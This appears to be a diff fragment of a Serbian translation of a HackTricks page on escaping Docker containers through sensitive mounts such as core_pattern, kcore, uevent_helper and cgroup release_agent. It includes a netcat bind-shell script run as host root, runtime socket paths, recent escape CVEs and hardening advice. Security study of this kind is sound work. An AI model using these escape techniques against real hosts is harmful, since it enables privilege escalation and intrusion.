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Translated ['src/linux-hardening/privilege-escalation/docker-security/do
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@ -16,7 +16,7 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p
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- Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
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- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara.
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- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
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- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarnog fajla unutar svog kontejnerskog fajl sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarni fajl van kontejnera.
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- **Primer testiranja i eksploatacije**:
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```bash
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@ -103,13 +103,13 @@ echo b > /proc/sysrq-trigger # Restartuje host
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- Predstavlja fizičku memoriju sistema u ELF core formatu.
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- Čitanje može otkriti sadržaj memorije host sistema i drugih kontejnera.
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- Velika veličina datoteke može dovesti do problema sa čitanjem ili rušenja softvera.
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- Velika veličina datoteke može dovesti do problema sa čitanjem ili rušenjem softvera.
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- Detaljna upotreba u [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
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#### **`/proc/kmem`**
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- Alternativni interfejs za `/dev/kmem`, koji predstavlja kernel virtuelnu memoriju.
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- Omogućava čitanje i pisanje, što znači direktnu modifikaciju kernel memorije.
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- Omogućava čitanje i pisanje, što omogućava direktnu modifikaciju kernel memorije.
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#### **`/proc/mem`**
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@ -131,7 +131,7 @@ echo b > /proc/sysrq-trigger # Restartuje host
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#### **`/sys/kernel/uevent_helper`**
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- Koristi se za rukovanje kernel uređajima `uevents`.
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- Pisanje u `/sys/kernel/uevent_helper` može izvršiti proizvoljne skripte prilikom aktiviranja `uevent`-a.
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- Pisanje u `/sys/kernel/uevent_helper` može izvršiti proizvoljne skripte prilikom aktiviranja `uevent`.
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- **Primer za eksploataciju**:
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```bash
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@ -263,7 +263,7 @@ the other containers' filesystems are available under a different base path:
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```bash
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$ docker info | grep -i 'docker root\|storage driver'
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Storage Driver: overlay2
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Skladišni drajver: overlay2
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Docker Root Dir: /var/lib/docker
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```
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@ -293,7 +293,8 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
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```text
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/run/containerd/containerd.sock # containerd CRI soket
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/var/run/crio/crio.sock # CRI-O runtime soket
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/run/podman/podman.sock # Podman API (sa root privilegijama ili bez)
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/run/podman/podman.sock # Podman API (rootful ili rootless)
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/run/buildkit/buildkitd.sock # BuildKit daemon (rootful)
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/var/run/kubelet.sock # Kubelet API na Kubernetes čvorovima
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/run/firecracker-containerd.sock # Kata / Firecracker
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```
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@ -319,7 +320,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
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echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # zahteva CVE-2022-0492
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echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
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sh -c "echo 0 > /tmp/x/cgroup.procs" # pokreće događaj praznog cgrupa
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sh -c "echo 0 > /tmp/x/cgroup.procs" # aktivira događaj praznog cgrupa
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```
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When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
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@ -327,7 +328,7 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**
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### Mount-Related Escape CVEs (2023-2025)
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* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
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runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
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runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14).
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```Dockerfile
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FROM scratch
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@ -338,11 +339,17 @@ CMD ["/bin/sh"]
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* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
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A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
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* **CVE-2024-1753 – Buildah / Podman bind-mount breakout during `build`**
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Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series.
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* **CVE-2024-40635 – containerd UID integer overflow**
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Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4.
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### Hardening Reminders (2025)
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1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
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2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
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3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
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3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27).
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4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
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### References
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@ -352,5 +359,7 @@ A race condition in the BuildKit snapshotter let an attacker replace a file that
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- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
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- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
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- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
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- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf)
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- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg)
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{{#include ../../../../banners/hacktricks-training.md}}
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